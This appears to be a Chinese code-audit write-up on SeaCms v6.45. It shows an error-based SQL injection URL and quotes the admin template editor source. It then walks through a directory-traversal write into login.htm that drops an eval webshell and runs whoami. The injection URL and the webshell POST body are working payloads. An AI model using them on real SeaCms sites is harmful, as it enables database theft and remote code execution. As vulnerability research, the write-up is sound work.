版本：

SeaCms v6.45

下载地址

https://down.easck.com/code/29585.html#xzdz

测试install处是否可以getshell

数据库名可以写入到data目录下的common.inc.php中，尝试进行写入';phpinfo();#进行闭合,但是对\和'都进行了转义故无法利用 通读 index.php 和 admin/index.php 和 admin/login.php 文件 SeaCms 用 addslashes 函数对参数进行处理

function _RunMagicQuotes(&$svar)
{
	if(!get_magic_quotes_gpc())
	{
		if( is_array($svar) )
		{
			foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
		}
		else
		{
			$svar = addslashes($svar);
		}
	}
	return $svar;
}

且数据库编码并没有设置为 GBK，这种情况下可能产生的 SQL 注入的有两种

• 把客户端IP存储进数据库，且客户端IP可以伪造
• SQL 语句参数没有引号包裹或者用 反引号 等包裹

上seay源代码审计工具，简化人工审计工作量可以看到这个$ids没有单引号包裹，这条语句是在 Readrlist 函数执行的可构造语句造成报错注入

comment/api/index.php?gid=1&page=2&rlist[]=extractvalue(1,concat_ws(0x7e,user(),database()))

来到后台我注意到有一个模板编辑功能查看admin_template.php内容

<?php
require_once(dirname(__FILE__)."/config.php");
if(empty($action))
{
	$action = '';
}
$dirTemplate="../templets";
if($action=='edit')
{
	if(substr(strtolower($filedir),0,11)!=$dirTemplate){
		ShowMsg("只允许编辑templets目录！","admin_template.php");
		exit;
	}
	$filetype=getfileextend($filedir);
	if ($filetype!="html" && $filetype!="htm" && $filetype!="js" && $filetype!="css" && $filetype!="txt")
	{
		ShowMsg("操作被禁止！","admin_template.php");
		exit;
	}
	$filename=substr($filedir,strrpos($filedir,'/')+1,strlen($filedir)-1);
	$content=loadFile($filedir);
	$content = m_eregi_replace("<textarea","##textarea",$content);
	$content = m_eregi_replace("</textarea","##/textarea",$content);
	$content = m_eregi_replace("<form","##form",$content);
	$content = m_eregi_replace("</form","##/form",$content);
	include(sea_ADMIN.'/templets/admin_template.htm');
	exit();
}
elseif($action=='editCus')
{
	if(substr(strtolower($filedir),0,11)!=$dirTemplate){
		ShowMsg("只允许编辑templets目录！","admin_template.php");
		exit;
	}
	$filetype=getfileextend($filedir);
	if ($filetype!="html" && $filetype!="htm" && $filetype!="js" && $filetype!="css" && $filetype!="txt")
	{
		ShowMsg("操作被禁止！","admin_template.php");
		exit;
	}
	$filename=substr($filedir,strrpos($filedir,'/')+1,strlen($filedir)-1);
	$content=loadFile($filedir);
	$content = m_eregi_replace("<textarea","##textarea",$content);
	$content = m_eregi_replace("</textarea","##/textarea",$content);
	$content = m_eregi_replace("<form","##form",$content);
	$content = m_eregi_replace("</form","##/form",$content);
	include(sea_ADMIN.'/templets/admin_template.htm');
	exit();
}
elseif($action=='saveCus')
{
	if($filedir == '')
	{
		ShowMsg('未指定要编辑的文件或文件名不合法', '-1');
		exit();
	}
	if(substr(strtolower($filedir),0,11)!=$dirTemplate){
		ShowMsg("只允许编辑templets目录！","admin_template.php");
		exit;
	}
	$filetype=getfileextend($filedir);
	if ($filetype!="html" && $filetype!="htm" && $filetype!="js" && $filetype!="css" && $filetype!="txt")
	{
		ShowMsg("操作被禁止！","admin_template.php");
		exit;
	}
	$folder=substr($filedir,0,strrpos($filedir,'/'));
	if(!is_dir($folder)){
		ShowMsg("目录不存在！","admin_template.php");
		exit;
	}
	$content = stripslashes($content);
	$content = m_eregi_replace("##textarea","<textarea",$content);
	$content = m_eregi_replace("##/textarea","</textarea",$content);
	$content = m_eregi_replace("##form","<form",$content);
	$content = m_eregi_replace("##/form","</form",$content);
	createTextFile($content,$filedir);
	ShowMsg("操作成功！","admin_template.php?action=custom");
	exit;
}
elseif($action=='save')
{
	if($filedir == '')
	{
		ShowMsg('未指定要编辑的文件或文件名不合法', '-1');
		exit();
	}
	if(substr(strtolower($filedir),0,11)!=$dirTemplate){
		ShowMsg("只允许编辑templets目录！","admin_template.php");
		exit;
	}
	$filetype=getfileextend($filedir);
	if ($filetype!="html" && $filetype!="htm" && $filetype!="js" && $filetype!="css" && $filetype!="txt")
	{
		ShowMsg("操作被禁止！","admin_template.php");
		exit;
	}
	$folder=substr($filedir,0,strrpos($filedir,'/'));
	if(!is_dir($folder)){
		ShowMsg("目录不存在！","admin_template.php");
		exit;
	}
	$content = stripslashes($content);
	$content = m_eregi_replace("##textarea","<textarea",$content);
	$content = m_eregi_replace("##/textarea","</textarea",$content);
	$content = m_eregi_replace("##form","<form",$content);
	$content = m_eregi_replace("##/form","</form",$content);
	createTextFile($content,$filedir);
	ShowMsg("操作成功！","admin_template.php?path=".$folder);
	exit;
}
elseif($action=='del')
{
	if($filedir == '')
	{
		ShowMsg('未指定要删除的文件或文件名不合法', '-1');
		exit();
	}
	if(substr(strtolower($filedir),0,11)!=$dirTemplate){
		ShowMsg("只允许删除templets目录内的文件！","admin_template.php");
		exit;
	}
	$folder=substr($filedir,0,strrpos($filedir,'/'));
	if(!is_dir($folder)){
		ShowMsg("目录不存在！","admin_template.php");
		exit;
	}
	unlink($filedir);
	ShowMsg("操作成功！","admin_template.php?path=".$folder);
	exit;
}
elseif($action=='add')
{
	include(sea_ADMIN.'/templets/admin_template.htm');
	exit();
}
elseif($action=='custom')
{
	include(sea_ADMIN.'/templets/admin_template.htm');
	exit();
}
elseif($action=='savenew')
{
	if(empty($name)){
		ShowMsg("请填写文件名","-1");
		exit;
	}
	if(!m_ereg("^[0-9a-z-]+$",$name)){
		ShowMsg("文件名不合法","-1");
		exit;
	}
	$defaultfolder="../templets/".$cfg_df_style."/".$cfg_df_html;
	if(empty($filedir)) $filedir=$defaultfolder;
	if($filedir!=$defaultfolder){
		ShowMsg("只能把模板添加在{$defaultfolder}文件夹","admin_template.php?path=".$filedir);
		exit;
	}
	if(file_exists($filedir."/self_".$name.".html")){
		ShowMsg("已存在该文件请更换名称","-1");
		exit;
	}
	createTextFile($content,$filedir."/self_".$name.".html");
	ShowMsg("操作成功！","admin_template.php?action=custom");
	exit;
}
else
{
	if(empty($path)) $path=$dirTemplate; else $path=strtolower($path);
	if(substr($path,0,11)!=$dirTemplate){
		ShowMsg("只允许编辑templets目录！","admin_template.php");
		exit;
	}
	$flist=getFolderList($path);
	include(sea_ADMIN.'/templets/admin_template.htm');
	exit();
}
?>

写入目录限制在 ../templets 上，可以通过目录穿越绕过这一点，这时候是写入文件内容可控文件名后缀只能是 html/htm/js/css/txt在前面通读代码的时候注意到 admin/login.php 有一个文件包含操作

include('templets/login.htm');

通过目录穿越+文件包含就可以通过写入一句话到 login.htm 文件中 修改模版通过burp进行抓包将原始data修改

content=<?php fputs(fopen('a.php','w'),'<?php eval($_POST["a"]);?>');?>&filedir=../templets/../admin/templets/login.htm&Submit=%E4%BF%AE%E6%94%B9%E6%A8%A1%E6%9D%BF

访问 admin/login.php 会在admin下生成一个a.php执行下system("whoami");  成功